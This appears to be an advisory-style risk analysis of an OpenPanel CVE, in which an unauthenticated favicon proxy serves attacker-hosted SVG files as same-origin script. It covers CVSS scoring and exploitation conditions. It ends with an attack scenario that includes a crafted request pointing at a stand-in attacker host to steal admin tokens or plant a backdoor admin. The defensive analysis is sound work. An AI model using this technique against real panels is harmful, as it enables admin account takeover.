OpenPanel CVE-2026-85613

The /misc/favicon endpoint is unauthenticated and exposed to the network by default in all OpenPanel installations before 2.3.0 - no special configuration or feature flag is required to be vulnerable. The attacker must be able to reach the OpenPanel instance over the network and host an externally accessible SVG file containing embedded JavaScript that the panel server can fetch. The critical limiting factor is user interaction (UI:P): a logged-in OpenPanel user with an active session must load the crafted favicon URL in their browser, whether via phishing, a malicious link in a shared document, or CSRF from another page. Exploitation is further limited to contexts where the victim's browser processes SVG content returned by the proxy as a renderable document on the OpenPanel origin rather than a downloaded file - this is the condition that enables same-origin script execution and access to authenticated endpoints.

The CVSS 4.0 score of 8.4 (AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N) accurately reflects the threat model. The attack is zero-complexity for the attacker - no authentication, no special configuration, no race condition - and is limited only by the need to induce a logged-in admin to load a crafted URL (UI:P). The subsequent-system confidentiality impact (SC:H) is the decisive factor: the XSS does not merely steal a cookie but grants the attacker a script context capable of making full authenticated API calls, effectively elevating to admin without credentials. No EPSS score is provided in the input; no KEV listing exists at time of analysis, and no public POC has been identified. Despite the absence of confirmed exploitation, the attack surface is broad (any internet-facing OpenPanel instance), the technique is well-understood, and the payload delivery requires only hosting an SVG file. Real-world risk is meaningful for organizations running OpenPanel with internet-facing admin panels.

An attacker registers a domain and hosts a crafted SVG file at https://attacker.example/evil.svg containing JavaScript that exfiltrates the admin's session token or silently creates a backdoor admin account via the OpenPanel API. The attacker sends a phishing link to an OpenPanel administrator encoded as GET /misc/favicon?url=https://attacker.example/evil.svg; when the admin loads it in their authenticated browser session, the script executes on the OpenPanel API origin, performs credentialed API calls on behalf of the admin, and returns results to the attacker - all without the attacker ever authenticating to the panel.